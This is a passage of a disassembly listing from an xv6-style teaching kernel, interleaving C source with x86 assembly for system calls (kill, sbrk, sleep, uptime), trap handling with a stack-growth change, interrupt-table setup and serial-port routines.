$0x8,%esp exit(); 80105266: e8 15 e8 ff ff call 80103a80 <exit> return 0; // not reached } 8010526b: 31 c0 xor %eax,%eax 8010526d: c9 leave 8010526e: c3 ret 8010526f: 90 nop 80105270 <sys_wait>: int sys_wait(void) { 80105270: 55 push %ebp 80105271: 89 e5 mov %esp,%ebp return wait(); } 80105273: 5d pop %ebp return wait(); 80105274: e9 17 ea ff ff jmp 80103c90 <wait> 80105279: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105280 <sys_kill>: int sys_kill(void) { 80105280: 55 push %ebp 80105281: 89 e5 mov %esp,%ebp 80105283: 83 ec 28 sub $0x28,%esp int pid; if(argint(0, &pid) < 0) 80105286: 8d 45 f4 lea -0xc(%ebp),%eax 80105289: 89 44 24 04 mov %eax,0x4(%esp) 8010528d: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105294: e8 77 f2 ff ff call 80104510 <argint> 80105299: 85 c0 test %eax,%eax 8010529b: 78 13 js 801052b0 <sys_kill+0x30> return -1; return kill(pid); 8010529d: 8b 45 f4 mov -0xc(%ebp),%eax 801052a0: 89 04 24 mov %eax,(%esp) 801052a3: e8 28 eb ff ff call 80103dd0 <kill> } 801052a8: c9 leave 801052a9: c3 ret 801052aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 801052b0: b8 ff ff ff ff mov $0xffffffff,%eax } 801052b5: c9 leave 801052b6: c3 ret 801052b7: 89 f6 mov %esi,%esi 801052b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801052c0 <sys_getpid>: int sys_getpid(void) { 801052c0: 55 push %ebp 801052c1: 89 e5 mov %esp,%ebp 801052c3: 83 ec 08 sub $0x8,%esp return myproc()->pid; 801052c6: e8 b5 e3 ff ff call 80103680 <myproc> 801052cb: 8b 40 10 mov 0x10(%eax),%eax } 801052ce: c9 leave 801052cf: c3 ret 801052d0 <sys_sbrk>: int sys_sbrk(void) { 801052d0: 55 push %ebp 801052d1: 89 e5 mov %esp,%ebp 801052d3: 53 push %ebx 801052d4: 83 ec 24 sub $0x24,%esp int addr; int n; if(argint(0, &n) < 0) 801052d7: 8d 45 f4 lea -0xc(%ebp),%eax 801052da: 89 44 24 04 mov %eax,0x4(%esp) 801052de: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801052e5: e8 26 f2 ff ff call 80104510 <argint> 801052ea: 85 c0 test %eax,%eax 801052ec: 78 22 js 80105310 <sys_sbrk+0x40> return -1; addr = myproc()->sz; 801052ee: e8 8d e3 ff ff call 80103680 <myproc> if(growproc(n) < 0) 801052f3: 8b 55 f4 mov -0xc(%ebp),%edx addr = myproc()->sz; 801052f6: 8b 18 mov (%eax),%ebx if(growproc(n) < 0) 801052f8: 89 14 24 mov %edx,(%esp) 801052fb: e8 c0 e4 ff ff call 801037c0 <growproc> 80105300: 85 c0 test %eax,%eax 80105302: 78 0c js 80105310 <sys_sbrk+0x40> return -1; return addr; 80105304: 89 d8 mov %ebx,%eax } 80105306: 83 c4 24 add $0x24,%esp 80105309: 5b pop %ebx 8010530a: 5d pop %ebp 8010530b: c3 ret 8010530c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80105310: b8 ff ff ff ff mov $0xffffffff,%eax 80105315: eb ef jmp 80105306 <sys_sbrk+0x36> 80105317: 89 f6 mov %esi,%esi 80105319: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105320 <sys_sleep>: int sys_sleep(void) { 80105320: 55 push %ebp 80105321: 89 e5 mov %esp,%ebp 80105323: 53 push %ebx 80105324: 83 ec 24 sub $0x24,%esp int n; uint ticks0; if(argint(0, &n) < 0) 80105327: 8d 45 f4 lea -0xc(%ebp),%eax 8010532a: 89 44 24 04 mov %eax,0x4(%esp) 8010532e: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105335: e8 d6 f1 ff ff call 80104510 <argint> 8010533a: 85 c0 test %eax,%eax 8010533c: 78 7e js 801053bc <sys_sleep+0x9c> return -1; acquire(&tickslock); 8010533e: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) 80105345: e8 d6 ed ff ff call 80104120 <acquire> ticks0 = ticks; while(ticks - ticks0 < n){ 8010534a: 8b 55 f4 mov -0xc(%ebp),%edx ticks0 = ticks; 8010534d: 8b 1d a0 55 11 80 mov 0x801155a0,%ebx while(ticks - ticks0 < n){ 80105353: 85 d2 test %edx,%edx 80105355: 75 29 jne 80105380 <sys_sleep+0x60> 80105357: eb 4f jmp 801053a8 <sys_sleep+0x88> 80105359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed){ release(&tickslock); return -1; } sleep(&ticks, &tickslock); 80105360: c7 44 24 04 60 4d 11 movl $0x80114d60,0x4(%esp) 80105367: 80 80105368: c7 04 24 a0 55 11 80 movl $0x801155a0,(%esp) 8010536f: e8 6c e8 ff ff call 80103be0 <sleep> while(ticks - ticks0 < n){ 80105374: a1 a0 55 11 80 mov 0x801155a0,%eax 80105379: 29 d8 sub %ebx,%eax 8010537b: 3b 45 f4 cmp -0xc(%ebp),%eax 8010537e: 73 28 jae 801053a8 <sys_sleep+0x88> if(myproc()->killed){ 80105380: e8 fb e2 ff ff call 80103680 <myproc> 80105385: 8b 40 24 mov 0x24(%eax),%eax 80105388: 85 c0 test %eax,%eax 8010538a: 74 d4 je 80105360 <sys_sleep+0x40> release(&tickslock); 8010538c: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) 80105393: e8 78 ee ff ff call 80104210 <release> return -1; 80105398: b8 ff ff ff ff mov $0xffffffff,%eax } release(&tickslock); return 0; } 8010539d: 83 c4 24 add $0x24,%esp 801053a0: 5b pop %ebx 801053a1: 5d pop %ebp 801053a2: c3 ret 801053a3: 90 nop 801053a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&tickslock); 801053a8: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) 801053af: e8 5c ee ff ff call 80104210 <release> } 801053b4: 83 c4 24 add $0x24,%esp return 0; 801053b7: 31 c0 xor %eax,%eax } 801053b9: 5b pop %ebx 801053ba: 5d pop %ebp 801053bb: c3 ret return -1; 801053bc: b8 ff ff ff ff mov $0xffffffff,%eax 801053c1: eb da jmp 8010539d <sys_sleep+0x7d> 801053c3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801053c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801053d0 <sys_uptime>: // return how many clock tick interrupts have occurred // since start. int sys_uptime(void) { 801053d0: 55 push %ebp 801053d1: 89 e5 mov %esp,%ebp 801053d3: 53 push %ebx 801053d4: 83 ec 14 sub $0x14,%esp uint xticks; acquire(&tickslock); 801053d7: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) 801053de: e8 3d ed ff ff call 80104120 <acquire> xticks = ticks; 801053e3: 8b 1d a0 55 11 80 mov 0x801155a0,%ebx release(&tickslock); 801053e9: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) 801053f0: e8 1b ee ff ff call 80104210 <release> return xticks; } 801053f5: 83 c4 14 add $0x14,%esp 801053f8: 89 d8 mov %ebx,%eax 801053fa: 5b pop %ebx 801053fb: 5d pop %ebp 801053fc: c3 ret 801053fd <alltraps>: # vectors.S sends all traps here. .globl alltraps alltraps: # Build trap frame. pushl %ds 801053fd: 1e push %ds pushl %es 801053fe: 06 push %es pushl %fs 801053ff: 0f a0 push %fs pushl %gs 80105401: 0f a8 push %gs pushal 80105403: 60 pusha # Set up data segments. movw $(SEG_KDATA<<3), %ax 80105404: 66 b8 10 00 mov $0x10,%ax movw %ax, %ds 80105408: 8e d8 mov %eax,%ds movw %ax, %es 8010540a: 8e c0 mov %eax,%es # Call trap(tf), where tf=%esp pushl %esp 8010540c: 54 push %esp call trap 8010540d: e8 de 00 00 00 call 801054f0 <trap> addl $4, %esp 80105412: 83 c4 04 add $0x4,%esp 80105415 <trapret>: # Return falls through to trapret... .globl trapret trapret: popal 80105415: 61 popa popl %gs 80105416: 0f a9 pop %gs popl %fs 80105418: 0f a1 pop %fs popl %es 8010541a: 07 pop %es popl %ds 8010541b: 1f pop %ds addl $0x8, %esp # trapno and errcode 8010541c: 83 c4 08 add $0x8,%esp iret 8010541f: cf iret 80105420 <tvinit>: void tvinit(void) { int i; for(i = 0; i < 256; i++) 80105420: 31 c0 xor %eax,%eax 80105422: 8d b6 00 00 00 00 lea 0x0(%esi),%esi SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); 80105428: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx 8010542f: b9 08 00 00 00 mov $0x8,%ecx 80105434: 66 89 0c c5 a2 4d 11 mov %cx,-0x7feeb25e(,%eax,8) 8010543b: 80 8010543c: c6 04 c5 a4 4d 11 80 movb $0x0,-0x7feeb25c(,%eax,8) 80105443: 00 80105444: c6 04 c5 a5 4d 11 80 movb $0x8e,-0x7feeb25b(,%eax,8) 8010544b: 8e 8010544c: 66 89 14 c5 a0 4d 11 mov %dx,-0x7feeb260(,%eax,8) 80105453: 80 80105454: c1 ea 10 shr $0x10,%edx 80105457: 66 89 14 c5 a6 4d 11 mov %dx,-0x7feeb25a(,%eax,8) 8010545e: 80 for(i = 0; i < 256; i++) 8010545f: 83 c0 01 add $0x1,%eax 80105462: 3d 00 01 00 00 cmp $0x100,%eax 80105467: 75 bf jne 80105428 <tvinit+0x8> { 80105469: 55 push %ebp SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 8010546a: ba 08 00 00 00 mov $0x8,%edx { 8010546f: 89 e5 mov %esp,%ebp 80105471: 83 ec 18 sub $0x18,%esp SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 80105474: a1 08 a1 10 80 mov 0x8010a108,%eax initlock(&tickslock, "time"); 80105479: c7 44 24 04 a1 75 10 movl $0x801075a1,0x4(%esp) 80105480: 80 80105481: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 80105488: 66 89 15 a2 4f 11 80 mov %dx,0x80114fa2 8010548f: 66 a3 a0 4f 11 80 mov %ax,0x80114fa0 80105495: c1 e8 10 shr $0x10,%eax 80105498: c6 05 a4 4f 11 80 00 movb $0x0,0x80114fa4 8010549f: c6 05 a5 4f 11 80 ef movb $0xef,0x80114fa5 801054a6: 66 a3 a6 4f 11 80 mov %ax,0x80114fa6 initlock(&tickslock, "time"); 801054ac: e8 7f eb ff ff call 80104030 <initlock> } 801054b1: c9 leave 801054b2: c3 ret 801054b3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801054b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801054c0 <idtinit>: void idtinit(void) { 801054c0: 55 push %ebp pd[0] = size-1; 801054c1: b8 ff 07 00 00 mov $0x7ff,%eax 801054c6: 89 e5 mov %esp,%ebp 801054c8: 83 ec 10 sub $0x10,%esp 801054cb: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 801054cf: b8 a0 4d 11 80 mov $0x80114da0,%eax 801054d4: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 801054d8: c1 e8 10 shr $0x10,%eax 801054db: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lidt (%0)" : : "r" (pd)); 801054df: 8d 45 fa lea -0x6(%ebp),%eax 801054e2: 0f 01 18 lidtl (%eax) lidt(idt, sizeof(idt)); } 801054e5: c9 leave 801054e6: c3 ret 801054e7: 89 f6 mov %esi,%esi 801054e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801054f0 <trap>: //PAGEBREAK: 41 void trap(struct trapframe *tf) { 801054f0: 55 push %ebp 801054f1: 89 e5 mov %esp,%ebp 801054f3: 57 push %edi 801054f4: 56 push %esi 801054f5: 53 push %ebx 801054f6: 83 ec 3c sub $0x3c,%esp 801054f9: 8b 5d 08 mov 0x8(%ebp),%ebx if(tf->trapno == T_SYSCALL){ 801054fc: 8b 43 30 mov 0x30(%ebx),%eax 801054ff: 83 f8 40 cmp $0x40,%eax 80105502: 0f 84 28 02 00 00 je 80105730 <trap+0x240> if(myproc()->killed) exit(); return; } switch(tf->trapno){ 80105508: 83 e8 0e sub $0xe,%eax 8010550b: 83 f8 31 cmp $0x31,%eax 8010550e: 77 08 ja 80105518 <trap+0x28> 80105510: ff 24 85 5c 76 10 80 jmp *-0x7fef89a4(,%eax,4) 80105517: 90 nop } break; //PAGEBREAK: 13 default: if(myproc() == 0 || (tf->cs&3) == 0){ 80105518: e8 63 e1 ff ff call 80103680 <myproc> 8010551d: 85 c0 test %eax,%eax 8010551f: 90 nop 80105520: 0f 84 7a 02 00 00 je 801057a0 <trap+0x2b0> 80105526: f6 43 3c 03 testb $0x3,0x3c(%ebx) 8010552a: 0f 84 70 02 00 00 je 801057a0 <trap+0x2b0> static inline uint rcr2(void) { uint val; asm volatile("movl %%cr2,%0" : "=r" (val)); 80105530: 0f 20 d1 mov %cr2,%ecx cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80105533: 8b 53 38 mov 0x38(%ebx),%edx 80105536: 89 4d d8 mov %ecx,-0x28(%ebp) 80105539: 89 55 dc mov %edx,-0x24(%ebp) 8010553c: e8 1f e1 ff ff call 80103660 <cpuid> 80105541: 8b 73 30 mov 0x30(%ebx),%esi 80105544: 89 c7 mov %eax,%edi 80105546: 8b 43 34 mov 0x34(%ebx),%eax 80105549: 89 45 e4 mov %eax,-0x1c(%ebp) "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 8010554c: e8 2f e1 ff ff call 80103680 <myproc> 80105551: 89 45 e0 mov %eax,-0x20(%ebp) 80105554: e8 27 e1 ff ff call 80103680 <myproc> cprintf("pid %d %s: trap %d err %d on cpu %d " 80105559: 8b 4d d8 mov -0x28(%ebp),%ecx 8010555c: 89 74 24 0c mov %esi,0xc(%esp) myproc()->pid, myproc()->name, tf->trapno, 80105560: 8b 75 e0 mov -0x20(%ebp),%esi cprintf("pid %d %s: trap %d err %d on cpu %d " 80105563: 8b 55 dc mov -0x24(%ebp),%edx 80105566: 89 7c 24 14 mov %edi,0x14(%esp) 8010556a: 89 4c 24 1c mov %ecx,0x1c(%esp) 8010556e: 8b 4d e4 mov -0x1c(%ebp),%ecx myproc()->pid, myproc()->name, tf->trapno, 80105571: 83 c6 6c add $0x6c,%esi cprintf("pid %d %s: trap %d err %d on cpu %d " 80105574: 89 54 24 18 mov %edx,0x18(%esp) myproc()->pid, myproc()->name, tf->trapno, 80105578: 89 74 24 08 mov %esi,0x8(%esp) cprintf("pid %d %s: trap %d err %d on cpu %d " 8010557c: 89 4c 24 10 mov %ecx,0x10(%esp) 80105580: 8b 40 10 mov 0x10(%eax),%eax 80105583: c7 04 24 18 76 10 80 movl $0x80107618,(%esp) 8010558a: 89 44 24 04 mov %eax,0x4(%esp) 8010558e: e8 bd b0 ff ff call 80100650 <cprintf> tf->err, cpuid(), tf->eip, rcr2()); myproc()->killed = 1; 80105593: e8 e8 e0 ff ff call 80103680 <myproc> 80105598: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) 8010559f: 90 nop } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801055a0: e8 db e0 ff ff call 80103680 <myproc> 801055a5: 85 c0 test %eax,%eax 801055a7: 74 0c je 801055b5 <trap+0xc5> 801055a9: e8 d2 e0 ff ff call 80103680 <myproc> 801055ae: 8b 50 24 mov 0x24(%eax),%edx 801055b1: 85 d2 test %edx,%edx 801055b3: 75 4b jne 80105600 <trap+0x110> exit(); // Force process to give up CPU on clock tick. // If interrupts were on while locks held, would need to check nlock. if(myproc() && myproc()->state == RUNNING && 801055b5: e8 c6 e0 ff ff call 80103680 <myproc> 801055ba: 85 c0 test %eax,%eax 801055bc: 74 0d je 801055cb <trap+0xdb> 801055be: 66 90 xchg %ax,%ax 801055c0: e8 bb e0 ff ff call 80103680 <myproc> 801055c5: 83 78 0c 04 cmpl $0x4,0xc(%eax) 801055c9: 74 4d je 80105618 <trap+0x128> tf->trapno == T_IRQ0+IRQ_TIMER) yield(); // Check if the process has been killed since we yielded if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801055cb: e8 b0 e0 ff ff call 80103680 <myproc> 801055d0: 85 c0 test %eax,%eax 801055d2: 74 1d je 801055f1 <trap+0x101> 801055d4: e8 a7 e0 ff ff call 80103680 <myproc> 801055d9: 8b 40 24 mov 0x24(%eax),%eax 801055dc: 85 c0 test %eax,%eax 801055de: 74 11 je 801055f1 <trap+0x101> 801055e0: 0f b7 43 3c movzwl 0x3c(%ebx),%eax 801055e4: 83 e0 03 and $0x3,%eax 801055e7: 66 83 f8 03 cmp $0x3,%ax 801055eb: 0f 84 68 01 00 00 je 80105759 <trap+0x269> exit(); } 801055f1: 83 c4 3c add $0x3c,%esp 801055f4: 5b pop %ebx 801055f5: 5e pop %esi 801055f6: 5f pop %edi 801055f7: 5d pop %ebp 801055f8: c3 ret 801055f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105600: 0f b7 43 3c movzwl 0x3c(%ebx),%eax 80105604: 83 e0 03 and $0x3,%eax 80105607: 66 83 f8 03 cmp $0x3,%ax 8010560b: 75 a8 jne 801055b5 <trap+0xc5> exit(); 8010560d: e8 6e e4 ff ff call 80103a80 <exit> 80105612: eb a1 jmp 801055b5 <trap+0xc5> 80105614: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(myproc() && myproc()->state == RUNNING && 80105618: 83 7b 30 20 cmpl $0x20,0x30(%ebx) 8010561c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105620: 75 a9 jne 801055cb <trap+0xdb> yield(); 80105622: e8 79 e5 ff ff call 80103ba0 <yield> 80105627: eb a2 jmp 801055cb <trap+0xdb> 80105629: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi while(rcr2() < (KERNBASE - 1 - (myproc()->sTop))){ 80105630: bf ff ff ff 7f mov $0x7fffffff,%edi 80105635: 89 5d e4 mov %ebx,-0x1c(%ebp) 80105638: eb 50 jmp 8010568a <trap+0x19a> 8010563a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cprintf("Stack expanding.\n"); 80105640: c7 04 24 a6 75 10 80 movl $0x801075a6,(%esp) allocuvm(myproc()->pgdir, PGROUNDDOWN(KERNBASE - 1 - (myproc()->sTop)), KERNBASE - 1 - (myproc()->sTop)); 80105647: 89 fb mov %edi,%ebx 80105649: 89 fe mov %edi,%esi cprintf("Stack expanding.\n"); 8010564b: e8 00 b0 ff ff call 80100650 <cprintf> myproc()->sTop += PGSIZE; 80105650: e8 2b e0 ff ff call 80103680 <myproc> 80105655: 81 40 7c 00 10 00 00 addl $0x1000,0x7c(%eax) allocuvm(myproc()->pgdir, PGROUNDDOWN(KERNBASE - 1 - (myproc()->sTop)), KERNBASE - 1 - (myproc()->sTop)); 8010565c: e8 1f e0 ff ff call 80103680 <myproc> 80105661: 2b 58 7c sub 0x7c(%eax),%ebx 80105664: e8 17 e0 ff ff call 80103680 <myproc> 80105669: 2b 70 7c sub 0x7c(%eax),%esi 8010566c: e8 0f e0 ff ff call 80103680 <myproc> 80105671: 89 5c 24 08 mov %ebx,0x8(%esp) 80105675: 81 e6 00 f0 ff ff and $0xfffff000,%esi 8010567b: 89 74 24 04 mov %esi,0x4(%esp) 8010567f: 8b 40 04 mov 0x4(%eax),%eax 80105682: 89 04 24 mov %eax,(%esp) 80105685: e8 f6 11 00 00 call 80106880 <allocuvm> 8010568a: 0f 20 d6 mov %cr2,%esi while(rcr2() < (KERNBASE - 1 - (myproc()->sTop))){ 8010568d: e8 ee df ff ff call 80103680 <myproc> 80105692: 89 fa mov %edi,%edx 80105694: 2b 50 7c sub 0x7c(%eax),%edx 80105697: 39 f2 cmp %esi,%edx 80105699: 77 a5 ja 80105640 <trap+0x150> 8010569b: 8b 5d e4 mov -0x1c(%ebp),%ebx 8010569e: e9 fd fe ff ff jmp 801055a0 <trap+0xb0> 801056a3: 90 nop 801056a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(cpuid() == 0){ 801056a8: e8 b3 df ff ff call 80103660 <cpuid> 801056ad: 85 c0 test %eax,%eax 801056af: 90 nop 801056b0: 0f 84 ba 00 00 00 je 80105770 <trap+0x280> lapiceoi(); 801056b6: e8 a5 d0 ff ff call 80102760 <lapiceoi> 801056bb: 90 nop 801056bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi break; 801056c0: e9 db fe ff ff jmp 801055a0 <trap+0xb0> 801056c5: 8d 76 00 lea 0x0(%esi),%esi 801056c8: 90 nop 801056c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi kbdintr(); 801056d0: e8 db ce ff ff call 801025b0 <kbdintr> lapiceoi(); 801056d5: e8 86 d0 ff ff call 80102760 <lapiceoi> break; 801056da: e9 c1 fe ff ff jmp 801055a0 <trap+0xb0> 801056df: 90 nop uartintr(); 801056e0: e8 1b 02 00 00 call 80105900 <uartintr> lapiceoi(); 801056e5: e8 76 d0 ff ff call 80102760 <lapiceoi> break; 801056ea: e9 b1 fe ff ff jmp 801055a0 <trap+0xb0> 801056ef: 90 nop cprintf("cpu%d: spurious interrupt at %x:%x\n", 801056f0: 8b 7b 38 mov 0x38(%ebx),%edi 801056f3: 0f b7 73 3c movzwl 0x3c(%ebx),%esi 801056f7: e8 64 df ff ff call 80103660 <cpuid> 801056fc: c7 04 24 c0 75 10 80 movl $0x801075c0,(%esp) 80105703: 89 7c 24 0c mov %edi,0xc(%esp) 80105707: 89 74 24 08 mov %esi,0x8(%esp) 8010570b: 89 44 24 04 mov %eax,0x4(%esp) 8010570f: e8 3c af ff ff call 80100650 <cprintf> 80105714: eb a0 jmp 801056b6 <trap+0x1c6> 80105716: 66 90 xchg %ax,%ax ideintr(); 80105718: e8 43 c9 ff ff call 80102060 <ideintr> 8010571d: 8d 76 00 lea 0x0(%esi),%esi lapiceoi(); 80105720: e8 3b d0 ff ff call 80102760 <lapiceoi> break; 80105725: e9 76 fe ff ff jmp 801055a0 <trap+0xb0> 8010572a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(myproc()->killed) 80105730: e8 4b df ff ff call 80103680 <myproc> 80105735: 8b 70 24 mov 0x24(%eax),%esi 80105738: 85 f6 test %esi,%esi 8010573a: 75 2c jne 80105768 <trap+0x278> myproc()->tf = tf; 8010573c: e8 3f df ff ff call 80103680 <myproc> 80105741: 89 58 18 mov %ebx,0x18(%eax) syscall(); 80105744: e8 b7 ee ff ff call 80104600 <syscall> if(myproc()->killed) 80105749: e8 32 df ff ff call 80103680 <myproc> 8010574e: 8b 48 24 mov 0x24(%eax),%ecx 80105751: 85 c9 test %ecx,%ecx 80105753: 0f 84 98 fe ff ff je 801055f1 <trap+0x101> } 80105759: 83 c4 3c add $0x3c,%esp 8010575c: 5b pop %ebx 8010575d: 5e pop %esi 8010575e: 5f pop %edi 8010575f: 5d pop %ebp exit(); 80105760: e9 1b e3 ff ff jmp 80103a80 <exit> 80105765: 8d 76 00 lea 0x0(%esi),%esi exit(); 80105768: e8 13 e3 ff ff call 80103a80 <exit> 8010576d: eb cd jmp 8010573c <trap+0x24c> 8010576f: 90 nop acquire(&tickslock); 80105770: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) 80105777: e8 a4 e9 ff ff call 80104120 <acquire> wakeup(&ticks); 8010577c: c7 04 24 a0 55 11 80 movl $0x801155a0,(%esp) ticks++; 80105783: 83 05 a0 55 11 80 01 addl $0x1,0x801155a0 wakeup(&ticks); 8010578a: e8 e1 e5 ff ff call 80103d70 <wakeup> release(&tickslock); 8010578f: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) 80105796: e8 75 ea ff ff call 80104210 <release> 8010579b: e9 16 ff ff ff jmp 801056b6 <trap+0x1c6> 801057a0: 0f 20 d7 mov %cr2,%edi cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 801057a3: 8b 73 38 mov 0x38(%ebx),%esi 801057a6: e8 b5 de ff ff call 80103660 <cpuid> 801057ab: 89 7c 24 10 mov %edi,0x10(%esp) 801057af: 89 74 24 0c mov %esi,0xc(%esp) 801057b3: 89 44 24 08 mov %eax,0x8(%esp) 801057b7: 8b 43 30 mov 0x30(%ebx),%eax 801057ba: c7 04 24 e4 75 10 80 movl $0x801075e4,(%esp) 801057c1: 89 44 24 04 mov %eax,0x4(%esp) 801057c5: e8 86 ae ff ff call 80100650 <cprintf> panic("trap"); 801057ca: c7 04 24 b8 75 10 80 movl $0x801075b8,(%esp) 801057d1: e8 8a ab ff ff call 80100360 <panic> 801057d6: 66 90 xchg %ax,%ax 801057d8: 66 90 xchg %ax,%ax 801057da: 66 90 xchg %ax,%ax 801057dc: 66 90 xchg %ax,%ax 801057de: 66 90 xchg %ax,%ax 801057e0 <uartgetc>: } static int uartgetc(void) { if(!uart) 801057e0: a1 bc a5 10 80 mov 0x8010a5bc,%eax { 801057e5: 55 push %ebp 801057e6: 89 e5 mov %esp,%ebp if(!uart) 801057e8: 85 c0 test %eax,%eax 801057ea: 74 14 je 80105800 <uartgetc+0x20> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801057ec: ba fd 03 00 00 mov $0x3fd,%edx 801057f1: ec in (%dx),%al return -1; if(!(inb(COM1+5) & 0x01)) 801057f2: a8 01 test $0x1,%al 801057f4: 74 0a je 80105800 <uartgetc+0x20> 801057f6: b2 f8 mov $0xf8,%dl 801057f8: ec in (%dx),%al return -1; return inb(COM1+0); 801057f9: 0f b6 c0 movzbl %al,%eax } 801057fc: 5d pop %ebp 801057fd: c3 ret 801057fe: 66 90 xchg %ax,%ax return -1; 80105800: b8 ff ff ff ff mov $0xffffffff,%eax } 80105805: 5d pop %ebp 80105806: c3 ret 80105807: 89 f6 mov %esi,%esi 80105809: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105810 <uartputc>: if(!uart) 80105810: a1 bc a5 10 80 mov 0x8010a5bc,%eax 80105815: 85 c0 test %eax,%eax 80105817: 74 3f je 80105858 <uartputc+0x48> { 80105819: 55 push %ebp 8010581a: 89 e5 mov %esp,%ebp 8010581c: 56 push %esi 8010581d: be fd 03 00 00 mov $0x3fd,%esi 80105822: 53 push %ebx if(!uart) 80105823: bb 80 00 00 00 mov $0x80,%ebx { 80105828: 83 ec 10 sub $0x10,%esp 8010582b: eb 14 jmp 80105841 <uartputc+0x31> 8010582d: 8d 76 00 lea 0x0(%esi),%esi microdelay(10); 80105830: c7 04 24 0a 00 00 00 movl $0xa,(%esp) 80105837: e8 44 cf ff ff call 80102780 <microdelay> for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 8010583c: 83 eb 01 sub $0x1,%ebx 8010583f: 74 07 je 80105848 <uartputc+0x38> 80105841: 89 f2 mov %esi,%edx 80105843: ec in (%dx),%al 80105844: a8 20 test $0x20,%al 80105846: 74 e8 je 80105830 <uartputc+0x20> outb(COM1+0, c); 80105848: 0f b6 45 08 movzbl 0x8(%ebp),%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010584c: ba f8 03 00 00 mov $0x3f8,%edx 80105851: ee out %al,(%dx) } 80105852: 83 c4 10 add $0x10,%esp 80105855: 5b pop %ebx 80105856: 5e pop %esi 80105857: 5d pop %ebp 80105858: f3 c3 repz ret 8010585a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105860 <uartinit>: { 80105860: 55 push %ebp 80105861: 31 c9 xor %ecx,%ecx 80105863: 89 e5 mov %esp,%ebp 80105865: 89 c8 mov %ecx,%eax 80105867: 57 push %edi 80105868: bf fa 03 00 00 mov $0x3fa,%edi 8010586d: 56 push %esi 8010586e: 89 fa mov %edi,%edx 80105870: 53 push %ebx 80105871: 83 ec 1c sub $0x1c,%esp 80105874: ee out %al,(%dx) 80105875: be fb 03 00 00 mov $0x3fb,%esi 8010587a: b8 80 ff ff ff mov $0xffffff80,%eax 8010587f: 89 f2 mov %esi,%edx 80105881: ee out %al,(%dx) 80105882: b8 0c 00 00 00 mov $0xc,%eax 80105887: b2 f8 mov $0xf8,%dl 80105889: ee out %al,(%dx) 8010588a: bb f9 03 00 00 mov $0x3f9,%ebx 8010588f: 89 c8 mov %ecx,%eax 80105891: 89 da mov %ebx,%edx 80105893: ee out %al,(%dx) 80105894: b8 03 00 00 00 mov $0x3,%eax 80105899: 89 f2 mov %esi,%edx 8010589b: ee out %al,(%dx) 8010589c: b2 fc mov $0xfc,%dl 8010589e: 89 c8 mov %ecx,%eax 801058a0: ee out %al,(%dx) 801058a1: b8 01 00 00 00 mov $0x1,%eax 801058a6: 89 da mov %ebx,%edx 801058a8: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801058a9: b2 fd mov $0xfd,%dl 801058ab: ec in (%dx),%al if(inb(COM1+5) == 0xFF) 801058ac: 3c ff cmp $0xff,%al 801058ae: 74 42 je 801058f2 <uartinit+0x92> uart = 1; 801058b0: c7 05 bc a5 10 80 01 movl 